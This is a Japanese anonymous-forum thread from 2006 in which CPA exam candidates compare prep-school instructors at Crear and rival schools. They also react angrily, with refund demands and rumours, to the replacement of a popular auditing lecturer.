石井が今年も論文的中と言っていた件について
623:一般に公正妥当と認められた名無しさん
06/11/09 18:18:11
やっぱり、石井先生は神。
アクセル野坂では論文は書けない。
624:一般に公正妥当と認められた名無しさん
06/11/09 18:23:41
誉めたり貶したりするのは良いけどちゃんと理由も書けよ
それくらいの文章力がなきゃ論文なんて一生書けるようにならねーよ
625:一般に公正妥当と認められた名無しさん
06/11/09 18:35:51
やっぱり、石井先生は神。
アクセル野坂では論文は書けない。
626:一般に公正妥当と認められた名無しさん
06/11/09 18:37:18
石井では対応できないのは明らか
627:一般に公正妥当と認められた名無しさん
06/11/09 18:38:36
おまいら理由を書け
628:一般に公正妥当と認められた名無しさん
06/11/09 18:40:48
理由 暗記だけで思考力が育たない
論点の体系的理解ができない
629:一般に公正妥当と認められた名無しさん
06/11/09 18:55:04
まぁ一理あるわな
630:一般に公正妥当と認められた名無しさん
06/11/09 19:09:31 Gw1QolsH
論文発表待ちのクレアール生だが、
２００６年のアクセル簿記、野坂財表、池辺管理会計
を受講したおれが書いてみる。
ちなみに、簿記と管理会計はたぶん８割方取れている。
他の科目もまあまあ。
いろんな予備校に浮気したが、結局最後はクレアールの鞘におさまった。
ちなみに、２００６年が初受験。一発合格を狙うなら、クレはいいと思うけどね。
簿記：森山
十分戦える。ただ、そんなに講義がうまいとは思えない。
連結ではクイックメソッドは使わず、森山オリジナルの解き方である。
量も少なくはない。むしろアクセルのほうが量は少ない。
アクセル簿記との比較：
クレと比べて、わかりやすさ、理解が深まるという理由で、アクセル勝利。
管理会計：安井（今は中村）
合格ライン狙い。安井はそんなに講義は良くない。基本的には自習スタイル。
（中村も、クレで最近聞かせてもらったが、ここで言われているほどやばくは
ないと思う。）
ボリュームは少ない。高得点は狙えないが、学習時間は短く済む。
LEC池辺管理会計との比較：
池辺管理会計はすばらしいの一言につきる。講師としては、安井（中村）は比較対象に
すらならない。だが、これは一通り勉強を終えた者に限る。
クレアールと比べてボリュームが多いため、負担が大きい。（池辺が多いというよりも、
クレアールが少なすぎる上に簡単なだけだと思うのだが。）
個人的には、初学者はクレがいいと思う。２回目の受験なら池辺はおすすめできる。
ただ、池辺の答練はクレ生も取ったほうがいいと思う。
631:一般に公正妥当と認められた名無しさん
06/11/09 19:10:06 Gw1QolsH
財務諸表論：石井
講義は超一流。
ただ、ものすごい量の暗記を要求する。
一字一句とまでは言わないが、限りなく近い精度の暗記を要求するので、
受講生に誤解されやすいと思う。（堀江は暗に石井を批判しているようだ。）
答練に、授業で習っていないことを出すため、ベテラン受験生や100点狙いの完璧主義な
初学者には嫌われると思う。
個人的には、暗記しないと論文は書けないと思うので、石井のやり方は正しいと思う。
（最初は、おれも暗記が受け入れられなかったので、一度野坂に変えたことがある。）
アクセル野坂財務諸表論との比較：
こちらも講義は超一流。
網羅的で量は多い。だが、答練では石井のような新規インプットは行わない。
石井と野坂のどちらがいいとは言えないが、初学者は石井、二度目以降は野坂がいいと
思う。石井で暗記、野坂で二年目という流れが良いのではないか。
石井のほうが実際は負担が少ない。
監査論：堀江
とにかくすばらしいに尽きる。あれだけ負担が少ないのに、高得点を狙える答案が
書けるようになる講師はいないのではないか。
野坂はちら見程度だが、堀江のほうが上だと見た。
めんどくなったので、これくらいでやめる。
632:一般に公正妥当と認められた名無しさん
06/11/09 20:14:17 ibzht20M
いろいろありがとうございます
ところである一つの予備校にいってて、他の予備校に例えば管理会計だけとか
講座取れるんでしょうか？あと勉強した人からみて、
TACと大原と比べるとどうなんでしょうか？
633:一般に公正妥当と認められた名無しさん
06/11/09 21:48:50
そのとうりだな、特に管理会計は池辺の答練は理解が深まるしいいと思うよ。
クレは簡単すぎるし、理論対策がヤバイ。計算自体も理論とリンクしない無味乾燥な計算を要求されるし。
その点池辺は理論と計算のバランスが秀逸。ただ、量が多いのは事実。
結局、自分自身で判断するしかないんだろうな。
634:一般に公正妥当と認められた名無しさん
06/11/09 21:53:16
>>632
単価講座があるから、管理会計だけ他校もとれるよ。
で、TACと大原だけど、大原のほうがいいかな、と個人的に思う。
635:一般に公正妥当と認められた名無しさん
06/11/09 22:27:33
>>630
簿記と管理は８割取れてるって、LEC池辺とアクセル戸原なんですが・・・
636:一般に公正妥当と認められた名無しさん
06/11/09 22:51:10 jw95OAr/
簿記のテキストと問題集って1級とほぼ同じじゃないですか？
担当講師が違うだけ？
637:一般に公正妥当と認められた名無しさん
06/11/09 23:44:08
管理会計は違う
638:一般に公正妥当と認められた名無しさん
06/11/10 00:01:09
やっぱり、石井先生は神。
アクセル野坂では論文は書けない。
639:一般に公正妥当と認められた名無しさん
06/11/10 00:05:49
>>636
1級の講師って誰？
640:一般に公正妥当と認められた名無しさん
06/11/10 00:07:51
>>630>>631
すごく参考になる･･･
641:630-631
06/11/10 00:31:30 ZY23h/Fi
>>635
どういう意図のレスなのか理解できないのだが・・・
池辺管理とアクセル簿記は途中でやめたので、テキストの内容は試験前には忘れていた。
（ただ、池辺短答答練は試験前もきっちりやった。論グレとレベルアップ答練は切った。）
基本的にクレアールのみで簿記と管理会計は８割。他は記述もあるので書かないけど。
>>636
管理会計（会計士講座）は簿記１級と似ている。
簿記（会計士講座）は簿記１級と体裁は似ているが、中身は全然違う。
確かに理論は弱いが、あくまで会計学という大きな科目の一部なので、そんなに力を入れなくても
いいのではないかと思う。（簿記で十分補える。）
>>640
とにかく、石井の提唱するスピーチ（ようは丸暗記）を受け入れられるかどうかが、ポイント。
スピーチはつらいけど、毎日必ず寝る前にやるとか、生活の一部にしていた。
理解だけでは論文は書けないよ（ある程度暗記は必要というのは監査論堀江も認めている）。
石井でも十分、思考力は育つと思うけどね（受講していない人にはわからないだろうけど、
おそらく、あなたの思っている以上に講義はていねいだよ）。
うまく言えないが、あえて書くと、石井は放任主義。野坂は手取り足取り。
よく石井の批判にある、思考力が育たないというのはこのあたりにあるかと。
補足として一つだけクレアールを強く批判すると、クレアールは簿記検定講座が駄目。
（おれは３級からクレアールで受けている。）
特に１級講座はよくないと思う。１級まではLECなりTACなりで勉強したほうが良い。
クレアールでは説明不足で根本的な理解が出来なかった。
結局、簿記１級部分は、TACの市販テキストで補って勉強した。（３級、２級はぎりぎり許せる。）
１級取ったらクレアールというのは、良いと思うけどね。
経営やら租税はやや問題があるのだが、めんどいのでこれくらいで
642:一般に公正妥当と認められた名無しさん
06/11/10 00:36:25 ZY23h/Fi
>>636
確かに理論は弱いが、あくまで会計学という大きな科目の一部なので、そんなに力を入れなくても
いいのではないかと思う。（簿記で十分補える。）
↑は管理会計の理論の話。
643:一般に公正妥当と認められた名無しさん
06/11/10 00:49:42
>>641
2級合格からクレ会計士講座でも大丈夫ですか？
644:一般に公正妥当と認められた名無しさん
06/11/10 00:58:39 ZY23h/Fi
>>643
１級講座を受講しないでってこと？
２００７年は２００６年よりも講義が丁寧にはなっているようだが、
クレの会計士講座（他校でいう上級講座）は簿記１級合格が前提。
簿記２級から１級講座を受けずに会計士講座はやめておいたほうがいいと思います。
１級範囲の個別論点を独学ですることになってしまいます。（会計士講座で使用する
テキストにも１級範囲は含まれているが説明をとばすため）
645:一般に公正妥当と認められた名無しさん
06/11/10 00:59:13 ZY23h/Fi
もうねる。
646:一般に公正妥当と認められた名無しさん
06/11/10 01:09:42
今年の論文の簿記（会計学の第1問と第2問）で8割とれる人は相当簿記が得意な人だけだろ
よってパンピーはちゃんと管理会計の理論もやらないとだめだという結論に達するわけで
647:一般に公正妥当と認められた名無しさん
06/11/10 01:10:44
>>643
６４１氏ではないが答えさせてもらうと、一級合格してから会計士講座に入った方がいい。
というのは、一級の範囲を既に終えてることを前提として講義が進むから。
簿記なんかでは
「知識があやふやな方はもう一度１級のテキストに戻って復習しといて下さい」
ていう場面が何度かある。
648:６４７
06/11/10 01:12:27
かぶった。スマソ
649:一般に公正妥当と認められた名無しさん
06/11/10 01:31:34
石井では思考力は育たない。
なぜなら、スピーチ命で答練もテキストにほぼ近い精度の記述でないと
点がこないからだ。
答案構成を考えてもはねられるだけ。暗記しないといけない。
実際今年の本試験を見れば分かるが、テキストレベルの定義は問題文に
書いてあり、それをいかに応用するかが問われている。
つまり暗記から理解に傾向が変わった。
にもかかわらず、暗記を強要する指導はもはや石井自身が新試験制度に
対応できていないということ。
650:一般に公正妥当と認められた名無しさん
06/11/10 01:40:44
工作員乙Ｗ
651:一般に公正妥当と認められた名無しさん
06/11/10 01:47:06
答練でいい点をとろうなんていうのがそもそもの間違い
あんなもん勉強の進度の目安に使うくらいがちょうどいい
新試験制度になって暗記から理解に傾向が変わったというのも早計
なにしろまだ1回しかやってないんだから今年の結果を受けて傾向が変わる可能性も十分考えられる
まだ暗中模索の段階ってのが正直なところなんじゃないかな
652:630-631
06/11/10 01:56:55 ZY23h/Fi
最後にレス
>>649
そーれーはちがう。
暗記だけで合格できるとは石井は一言も言ってない。（少なくとも２００６年目標では）
暗記により得た知識を元に、問題の意図に沿った答案を作成しろと、石井はつねづね・・・
おれが上で書いた内容に入っている、
財表の１年目は石井、２年目は野坂をすすめるというのは、
>>649のような人に向けたレス。
野坂は手取り足取り教えてくれるからな。ある意味、万人向き。でも、初学者一発合格を
狙うなら野坂よりも絶対に石井。２年目なら野坂（ただし１年目は石井で受講済みとして）
653:630-631
06/11/10 02:01:31 ZY23h/Fi
>>651
全くそのとおり。
特に初学者は答練の点数を気にしていたらどうしようもない。
654:一般に公正妥当と認められた名無しさん
06/11/10 02:11:03
しかしと答練は答案構成を考えさせる場を提供すべきはずだよな。
せめてどこが悪いのかの添削はきっちりしてほしい。
安易に点数だけをだすから649のような馬鹿がでてくるんだ。
655:630-631
06/11/10 02:21:23
>>654
確かにそうなんですよ。
石井先生の答練の採点は私も不満でした。
キーワードでも点数はくれるのですが、他の先生よりも
基準が厳しいです。
石井先生は答練で受講生から誤解を受けていると思う。
採点は改善すべき。
656:一般に公正妥当と認められた名無しさん
06/11/10 02:48:07
いまの1級講座は講師ががらりと変わったんで期待できる
657:一般に公正妥当と認められた名無しさん
06/11/10 06:46:34 jsFzzyPf
大原やTACと組み合わせるのがいいんですか？
あと、独学で2級を取ってから一級講座から入るってのでも
ついていけますか？
658:一般に公正妥当と認められた名無しさん
06/11/10 06:58:16
ID:ZY23h/Fiさん、もし宜しかったら企業法、租税法、経営学の
レクチャーの批評もしてくださると助かるのですが・・・。
お願いします。
659:一般に公正妥当と認められた名無しさん
06/11/10 13:57:42
>>658
なんともいえぬ面子がそろってるんだよなぁ･･･。
660:一般に公正妥当と認められた名無しさん
06/11/11 00:33:20
だれかいないか？
661:一般に公正妥当と認められた名無しさん
06/11/11 00:33:57
なんだ？
662:一般に公正妥当と認められた名無しさん
06/11/11 01:53:13
何なに？
663:一般に公正妥当と認められた名無しさん
06/11/11 03:10:14
ナニデスカ？
664:630-631
06/11/11 12:06:54 eXYhUaOc
租税と企業法は講師の講義があまり上手くないので、予習してから講義を受けたほうが良い。
経営学はなんとも言えないなー。経営は予習は必要ない。おれは経営が得意科目だったとはいえ。
租税、企業法、経営は共に分量が少なく負担も小さい。
（あっ、ちなみにおれは理系の院生）
まあ、初学者はクレがいいと思いますけどね。
1.5年で合格することを前提とした教材の量ですし。
クレの講師は全体的に悪くはないですよ。仕事と講師を両立できるのか？
とはよく言われていますが、そのあたりは心配しなくていいかな。
TACなんかははじめから、３年かけて合格狙いなんでしょ？（TAC学院長が言ってた）
普通にやってたら１年では終わらないような、計画を立てているみたいじゃん。
まあ、クレでも最低１日６時間、平均して８時間くらいは勉強しないと合格できないと思うけど。
（TACだったら、１日１０時間以上必要だとか・・・）
あと、講師の言うことを聞くだけで良いわけじゃなく、自分で考える力は必要。だけどね。
665:一般に公正妥当と認められた名無しさん
06/11/11 20:55:01 iQLufEnA
俺は受けてもない授業・答練でレジュメだけパクって行く奴がウザいなぁ。
なんかいつも同じ奴がやってるし。
666:一般に公正妥当と認められた名無しさん
06/11/12 00:24:15
あの鼻かんでる香具師どうにかしろ。
一時期だけだと思って我慢してたが、このままずっとやられたら困る
667:一般に公正妥当と認められた名無しさん
06/11/12 00:34:24
大阪の受付の子、最近見ないけど辞めたの
668:一般に公正妥当と認められた名無しさん
06/11/12 00:39:36
漏れは京都ですが何？
669:一般に公正妥当と認められた名無しさん
06/11/12 01:05:01
神戸のスタッフが嫌い
670:一般に公正妥当と認められた名無しさん
06/11/12 01:28:15
京都はいい人たちだよ
671:一般に公正妥当と認められた名無しさん
06/11/12 13:21:31 IChm+m3C
来春からは平成生まれの大学生がいっせいに誕生し、必然的に
平成生まれタッカーが増殖するわけだが、そういう子たちからみたら
２５歳のオバちゃんが毎日昼間からTACにこもってるのって
絶対変に見えるでしょ。
考えてみなよ。自分が18歳のころの感覚を。
２５歳すぎたら税理士に転向するか、受験はやめて就職するか、
どちらかにしたほうがいいよ。
672:一般に公正妥当と認められた名無しさん
06/11/12 14:01:58
それはべておばのことを言っているのですか？
673:一般に公正妥当と認められた名無しさん
06/11/12 15:09:57
>>672
誰がうまいことを言えt（ｒｙ
674:一般に公正妥当と認められた名無しさん
06/11/13 00:39:10
>>671
その時期から就職て･･･
675:一般に公正妥当と認められた名無しさん
06/11/13 00:49:23
永久就職
676:一般に公正妥当と認められた名無しさん
06/11/13 02:44:41
>>630は初受験で合格か すごいな
合格しても、もし万が一ダメだったとしても結果が出たらアドヴァイスをここに書いて欲しいです
677:一般に公正妥当と認められた名無しさん
06/11/13 20:51:50 2FUL9RrH
簿記は何級まで勉強していくのがベストっぽいですか？
簿記一級の勉強って会計士につながる(役立つ)んでしょうか？
678:一般に公正妥当と認められた名無しさん
06/11/14 01:04:40
>>677
繋がる繋がらない以前に１級受からなきゃ会計士なんて･･･
679:一般に公正妥当と認められた名無しさん
06/11/14 16:52:35
>>677
一級はあくまで通過点にすぎない。
一級の内容は理解していないとついていけないよ。
680:一般に公正妥当と認められた名無しさん
06/11/14 23:14:05
某資格持ちで、会計士・税理士事務所勤務だけど、２５～３０で入ってくる合格者や税理士科目合格者は多いよ。
職務経験なくても、職歴ありの人と１年も経てばわからなくなることはいくらでもある。
ただしよほどすごい職歴・在職年数である程度関連あることをやるなら最低の人間と比べれば歴然とした差はある。
ちなみに年齢・職歴に関わらず総じて女性の方が優秀だ。
681:一般に公正妥当と認められた名無しさん
06/11/15 00:30:22
ここはクレアールスレッドです。
682:もうだめぽ
06/11/15 14:38:26 mAtaPIJi
監査堀江じゃなくなった！おわった…。金返せ。
683:一般に公正妥当と認められた名無しさん
06/11/15 14:53:05
マジで？
ソースは？
684:一般に公正妥当と認められた名無しさん
06/11/15 15:18:08
ベーシックは堀江さんだったけど、アドバンスから変わったの？
それなら最悪なんだけど・・・
685:一般に公正妥当と認められた名無しさん
06/11/15 16:46:11
青山のバカスクの教授
686:一般に公正妥当と認められた名無しさん
06/11/15 18:24:28
上記は事実である。堀江からアドヴァンスから松井というアカスクの先生に交代。
687:一般に公正妥当と認められた名無しさん
06/11/15 18:35:44
まじかよ・・・金返せ・・・
688:一般に公正妥当と認められた名無しさん
06/11/15 18:39:07 bWgiBGJD
堀江が辞めるの、マジな感じがするのだが。
クレアールのホームページから講師の紹介が消えている。
管理会計の安井（現神戸大学助教授）の写真は突然消えた。そのときと同じようなパターン。
良かったな、えいじ。これで、監査論No1講師はお前のものだ。
689:一般に公正妥当と認められた名無しさん
06/11/15 18:48:35
惜しい人を失った
690:一般に公正妥当と認められた名無しさん
06/11/15 19:11:29
金返してもらえるの？
691:一般に公正妥当と認められた名無しさん
06/11/15 19:15:43 bWgiBGJD
これ、金返してもらえるんじゃないの？
管理会計は安井から、突然、中村に変更。
そして、監査論は堀江から、松井に変更。
裁判になったらどうなるんだろう？
692:一般に公正妥当と認められた名無しさん
06/11/15 19:18:32
うはｗｗｗｗ
ひらりん復活！！
693:一般に公正妥当と認められた名無しさん
06/11/15 19:19:16
今電話したら、返金が可能かもしれないので、決まり次第連絡があるそうだ。
694:速報
06/11/15 19:20:44
URLﾘﾝｸ(www.crear-ac.co.jp)
堀江正之講師（日本大学商学部教授）が同大学本部の 都合により、アドバンス期以降教壇に立てないことに
なりました。 つきまして、標記科目の担当講師が下記の通り変更となります。※詳細は添付pdfをご覧下さい。
講師の急な変更により、受講生の皆様方には大変ご迷惑を おかけいたしまして、申し訳ありません。
何卒ご理解のうえご了承・ご容赦くださいますよう お願い申し上げます。
○アドバンス期担当講師
松井 隆幸（まつい たかゆき）
○短答式答練等作問担当
石原 俊彦（いしはら としひこ）
○答練解説
平林 亮子（ひらばやし りょうこ）
◆なお、アドバンス講義開講に先立ち、担当の松井講師による 特別セミナーを
下記の日程にて開催致します。 当日は、松井先生のご紹介を含め、講義の進め方等に
ついてもお話して頂く予定となっております。 是非、ご出席下さい。
日時： 12月6日（水） 17:00～（1時間程度を予定）
教室： 501教室
なお、当日ご都合の悪い方は、１２月９日より個別DVDにて視聴可能となっております（無料）。２階資料受付にて
受講証をご持参の上、お手続き下さい。※通信コース受講生の方には当日のセミナーを収録した
DVDもしくはカセットを実施後ご自宅に送付させて頂きます。
ご不明な点がございましたら事務局スタッフまでお申し出下さい。
695:一般に公正妥当と認められた名無しさん
06/11/15 19:22:54
06の堀江監査って今年も使えるかな？
696:一般に公正妥当と認められた名無しさん
06/11/15 19:26:30
でも、代わりの講師。
「 ひ ら ば や し 」以外はなかなかの講師のようだ。
堀江の置き土産だろうか。
講義：青山学院大学大学院教授 松井隆幸
短答答練等作問：関西学院大学専門職大学院教授 石原俊彦
答練解説： ひらばやしりょうこ
ひ ら ば や し 以外はな
697:一般に公正妥当と認められた名無しさん
06/11/15 19:33:49
まあ期待使しようや
698:一般に公正妥当と認められた名無しさん
06/11/15 19:34:56
試験委員になるんじゃね
699:sage
06/11/15 19:39:03 przXKLL8
そういうことか
700:一般に公正妥当と認められた名無しさん
06/11/15 19:55:08
>>696
学歴とか職歴とか関係ないから。
堀江なんて、商業高校から日大に入って、業界随一の看板講師に上り詰めたんだし。
701:一般に公正妥当と認められた名無しさん
06/11/15 20:13:23 bWgiBGJD
>>700
青山学院大学大学院教授 松井隆幸
関西学院大学専門職大学院教授 石原俊彦
こうにんかいけいし ひらばやしりょうこ
じゃあ、この中で誰に一番教えてもらいたい？
702:一般に公正妥当と認められた名無しさん
06/11/15 20:27:46
ついでにN村も交換してくれ
703:一般に公正妥当と認められた名無しさん
06/11/15 20:43:59
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！金返せ！
704:もうだめぽ
06/11/15 20:59:32 doAdyaCm
監査論、堀江だからクレにしたのに・・・ もうここおわったな
705:一般に公正妥当と認められた名無しさん
06/11/15 21:08:27 X3B/VEzT
松井先生は実は過去講義を受けたがまずまずだったよ・・・
706:一般に公正妥当と認められた名無しさん
06/11/15 21:10:18
堀江の代わりなんだから、まずまずじゃいかんだろ
会計士試験業界最高峰と言い切れるレベルじゃないと満足できん
707:一般に公正妥当と認められた名無しさん
06/11/15 21:16:19
>>けたがまずまずだったよ・・・
・・・がとても気になる。
708:一般に公正妥当と認められた名無しさん
06/11/15 21:16:57
ﾏｽﾞｰだったよ
709:一般に公正妥当と認められた名無しさん
06/11/15 21:26:30
まずまず → まずいまずい → ﾏｽﾞｰ
710:一般に公正妥当と認められた名無しさん
06/11/15 21:27:54
試験委員になったらクレ生しか持ってない
堀江教材から出るじゃんいいじゃんやったじゃん
711:一般に公正妥当と認められた名無しさん
06/11/15 21:31:23
__ _,, -ー ,,
(／ "つ`..,：
：/ :::::i：
：i ─::!,,
ヽ.....::::::::: ::::ij(_::●
r " .r ミノ~ お金かえして
：|::| ::::| :::i ﾟ。
：|::| ::::| :::|：
：`.| ::::| :::|_：
：.,' ::（ :::}：
：i `.-‐"
712:一般に公正妥当と認められた名無しさん
06/11/15 21:32:13
マジレスすると、堀江が試験委員になったら、理解重視（堀江は暗記が嫌い。）の採点になるから、
アクセル生がのびる予感・・・
713:一般に公正妥当と認められた名無しさん
06/11/15 21:34:14
予備校講師が、辞めて即試験委員になるわけないじゃん。
本当にふざけるなよ。
714:一般に公正妥当と認められた名無しさん
06/11/15 21:36:02
これ申込むためにどんだけバイトしたと思ってるんだよorz
. |コ ))
. |
／)
/ミ─‐ヽつ
,,,‐─´ ＼
／/. ● ヽ
/ ⌒U |
ノ ´ ・ ● .⊃
( __,,ノ‐. ノ● ´__
.(＿,,--ー──‐ヽ,,,____U_／＿＿) ,,,(（⑩
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
715:一般に公正妥当と認められた名無しさん
06/11/15 21:36:45
堀江のＤＶＤが貴重になるな
716:一般に公正妥当と認められた名無しさん
06/11/15 21:42:22
試験委員の講義
717:一般に公正妥当と認められた名無しさん
06/11/15 21:42:33
ほんとにどうなるんだ…堀江がいい。
こうなれば単科でどこかとるか
718:一般に公正妥当と認められた名無しさん
06/11/15 21:51:18
野坂先生が待っていますよ。
みんなアクセルへGO!!
719:一般に公正妥当と認められた名無しさん
06/11/15 21:57:25
いまこそLECですよ
720:一般に公正妥当と認められた名無しさん
06/11/15 21:59:23
なるほど、非常識だな！
721:一般に公正妥当と認められた名無しさん
06/11/15 22:00:53
ここでICOですよ。
722:一般に公正妥当と認められた名無しさん
06/11/15 22:02:02
監査ならWセミでしょう
723:一般に公正妥当と認められた名無しさん
06/11/15 22:08:18
そこで監査の大原ですよ
724:一般に公正妥当と認められた名無しさん
06/11/15 22:11:18
LEC ICO Wセミ 大原
どれも糞だから堀江監査だったんだよ。
725:一般に公正妥当と認められた名無しさん
06/11/15 22:12:44
ちょっと待った
東京CPAを忘れちゃいけませぬ
726:一般に公正妥当と認められた名無しさん
06/11/15 22:15:28
よし俺が教えたる
727:一般に公正妥当と認められた名無しさん
06/11/15 22:19:31
ここで大阪会計専門学校ですよ
728:一般に公正妥当と認められた名無しさん
06/11/15 22:22:10
監査論No1講師は成瀬だと思うが。
今年からついにＶクラスできたし。
729:一般に公正妥当と認められた名無しさん
06/11/15 22:23:04
いやいや大栄経理学院がありますよってに。
730:一般に公正妥当と認められた名無しさん
06/11/15 22:26:15 doAdyaCm
みんなで本校に電話しよう！
俺らは人生かけてんだ！！
731:一般に公正妥当と認められた名無しさん
06/11/15 22:27:10
>>730
バカスクの講師の方が良くね？
732:一般に公正妥当と認められた名無しさん
06/11/15 22:35:34
>>731
おい、内部の人間。金は返ってくるんだろうな。
733:一般に公正妥当と認められた名無しさん
06/11/15 23:04:23
一年目は期待できない。
堀江の穴はとても大きい。クレの看板講師だったからな。
N村の１００倍はましだと思うけど。
734:一般に公正妥当と認められた名無しさん
06/11/15 23:19:08
堀江、本当にいなくなっちゃうんだ
なんかやる気いっきに下がったな
735:一般に公正妥当と認められた名無しさん
06/11/15 23:22:47
夢だといいんだがなあ
736:一般に公正妥当と認められた名無しさん
06/11/15 23:32:13
>>719
LECは校舎によって、天国と地獄ほどの差があるってよ。
しかも収録ありの方に糞が来て、収録なしの方が天国なそうだからｗｗｗ
737:一般に公正妥当と認められた名無しさん
06/11/15 23:33:56
>>736
租税か？
738:一般に公正妥当と認められた名無しさん
06/11/16 00:02:29
今年の開講時点で確定してたんじゃないだろうな
ANJOみたいに確信犯でやってたら
おじさん本当にキレちゃうよ（マジ怒）
739:一般に公正妥当と認められた名無しさん
06/11/16 00:11:59 xHaIsImV
返金要求は相当な数が出るかもしれない。
こうなったら、予備校会No1の講義をしていただきたいところですなあ。
期待はしていますよ。でも、駄目だったら、叩きますよと。
はじめから期待すらされていなかったN村に比べればだがな
740:一般に公正妥当と認められた名無しさん
06/11/16 00:13:30
>>738
それあるかもしれないよ。申込むとき、
『アドバンスド講義に関しては、堀江先生が病気でいつ開講するかわからない』
と事務がぬかしてたから。確信犯かよ。
741:一般に公正妥当と認められた名無しさん
06/11/16 00:36:47
なんだよ「日本大学本部のご都合で」って？
日大生はここで腹かっさばいて侘びろや
742:一般に公正妥当と認められた名無しさん
06/11/16 00:46:30 xHaIsImV
監査論の受講料だけ返金したら、大丈夫だろうと思っていたら、それは違う。
堀江がいるからクレアールという受講生はかなりいる。
堀江がいなかったら、クレアールに入校していなかったかもしれない。
クレアールは希望者に全科目の受講料を返金すべき。
743:一般に公正妥当と認められた名無しさん
06/11/16 01:01:41
>>737
租税と監査だよ
744:一般に公正妥当と認められた名無しさん
06/11/16 01:11:57
>>742
全額は無理っしょ。
既に一定のサービスを受けていれば、その分は払わないと。
講義進行基準ならね。
745:一般に公正妥当と認められた名無しさん
06/11/16 01:21:00
かなりショックはでかいです
堀江さん目当てでクレアールを選んだだけに尚更きついです
ベーシックとアドヴァンスで講師が変わるというのも一貫性からみると非常に痛い
とにかくテンションは下がりました
746:一般に公正妥当と認められた名無しさん
06/11/16 01:33:04
しかも答練も解説する人が違うし、短答も作問者が違う。
クレアールのいう一貫性が無くなっちっまたよ…
747:一般に公正妥当と認められた名無しさん
06/11/16 01:37:39
平林だけは講義にかかわらせないでくれ。たのむから。
若い講師を育てたいのだろうが、もともと才能のない講師を育てても駄目なものはだめ。
もっと才能のある若手を探してくれ。
クレアール、自らの手で再び倒産する気か？
748:一般に公正妥当と認められた名無しさん
06/11/16 01:43:32
今頃、スタッフは戦々恐々としているだろうな。
堀江が辞めるくらい大丈夫とスタッフは思い込んでいたのでは？
「会計大学院の教授だから、文句なしだろう」などと、
仮に次の講師が良い講師だとしても、良い評判が広がるのには数年かかる。
来年の受講者数は大幅にダウンだろうね。５割減ですめばいいけど。
もはや石井だけではクレアールはやっていけないのだよ。（まあ、前からだが）
クレアール、倒産するかもね。スタッフも身の振り方を考えておかないと。。。
749:一般に公正妥当と認められた名無しさん
06/11/16 01:50:44
堀江から変更で、
監査論が１月下旬スタートに変わったのだが、監査論ってそんなに余裕な科目なの？
750:一般に公正妥当と認められた名無しさん
06/11/16 07:08:57
グーグルで調べてみたけど、講義についての論評が見あたらなかった。
アマゾンで調べたら、著書についてのレビューが１件あった。
751:一般に公正妥当と認められた名無しさん
06/11/16 08:28:50 tvB8MXzE
松井先生は会計士になった先輩が上手だったと言っていたよ。
752:一般に公正妥当と認められた名無しさん
06/11/16 09:28:23
>>749
06では1月中旬スタートだったから
多分問題ない
753:一般に公正妥当と認められた名無しさん
06/11/16 12:54:26
クレから封筒が送られてきたので、
返金の申込かと思たら
みすずSPAの説明会パンフレットだったwww
754:一般に公正妥当と認められた名無しさん
06/11/16 12:58:43
SPAって何？
755:一般に公正妥当と認められた名無しさん
06/11/16 14:58:11 wpIgibnC
>>754
みすずのHPぐらい自分で見る努力しろよ！
ところで堀江先生試験委員就任の話、ほんとらしい。
756:一般に公正妥当と認められた名無しさん
06/11/16 15:17:19
こういうところが、駄目な学校なのだよねー。事前に開示しないと。
757:一般に公正妥当と認められた名無しさん
06/11/16 15:23:16
きっと堀江先生なら受講生のためを思って、良い後釜を探してくれたと
思うよ。そういう先生やし。
駄目なのは、そういう重大な事実を隠し通すスタッフ。腐っとるわ。
俺は病気って聞いたぞ。くそったれ。
758:一般に公正妥当と認められた名無しさん
06/11/16 15:39:23
これで委員会報告書の精読いらなくなるのかね？
759:一般に公正妥当と認められた名無しさん
06/11/16 15:41:07
ふざけんなよ。堀江。
試験委員になって、日本大学からランクUP狙ってやがるな。
760:一般に公正妥当と認められた名無しさん
06/11/16 17:00:28
正式な発表があるまで、公表できないのは当たり前では。
761:一般に公正妥当と認められた名無しさん
06/11/16 17:10:50
勉強教えるっていうレベルじゃねぇぞ！
762:一般に公正妥当と認めれれた名無しさん
06/11/16 17:51:21
今売買掲示板で06堀江の監査論求めている奴がいるけどさ、
堀江のものに限らず、どこの学校の06監査論も07に対応できるの？
763:一般に公正妥当と認められた名無しさん
06/11/16 17:59:37
ヒント ビジネスリスクアプローチ 新監査基準 品質管理基準
もろもろ大改正
764:一般に公正妥当と認められた名無しさん
06/11/16 19:04:07
アドバンスのテキストが堀江先生作成のものであることを強く願う
てか時間的に堀江先生が作ったやつになるよね？
765:一般に公正妥当と認められた名無しさん
06/11/16 19:16:57
テキスト作成のための２ヶ月延期じゃないの
しかしひどい手のひら返しだね
766:一般に公正妥当と認められた名無しさん
06/11/16 19:29:45
講師変更の公表を論文の結果発表前に行ったのは評価できるな。
767:一般に公正妥当と認められた名無しさん
06/11/16 19:43:15
どうせなら、論文落ちも騙せばよかったのに。
クレは全滅だろ。
768:一般に公正妥当と認められた名無しさん
06/11/16 19:49:02
>>71
>監査論
>堀江・・・日本大学教授。クレアールの看板講師。他校の1/4程度のテキストで、高得点の答案を
>作ることが出来ると評判の講師。短期間で仕上げるという目的では、他校の追随を許さない。
>試験委員の八田と友達。そもそも、堀江自身が試験委員に指名されそう。人間性も良いことで有名。
>ただ、本人はクレアールを辞めたがっている。
本当に試験委員になったな。
もともと、辞めたがっていたって本当？
769:一般に公正妥当と認められた名無しさん
06/11/16 19:52:51
本当に試験委員になったの？
クレスレで誰かが適当に言ったのが、真実のように語られて広まってるだけじゃなくて？
770:一般に公正妥当と認められた名無しさん
06/11/16 19:56:17
クレアール生は監査論有利すぎでしょ
771:一般に公正妥当と認められた名無しさん
06/11/16 19:56:20
まじです。
すたっふがゆっとりました。
772:一般に公正妥当と認められた名無しさん
06/11/16 19:58:14
マジで金返さないと、コミュ以上のネガティブキャンペーンが待ってるぜ。
773:一般に公正妥当と認められた名無しさん
06/11/16 20:05:55
会計士試験自体が、
完全に、独立の立場をそこなう利害や独立の立場に疑いを招く外観を有している。
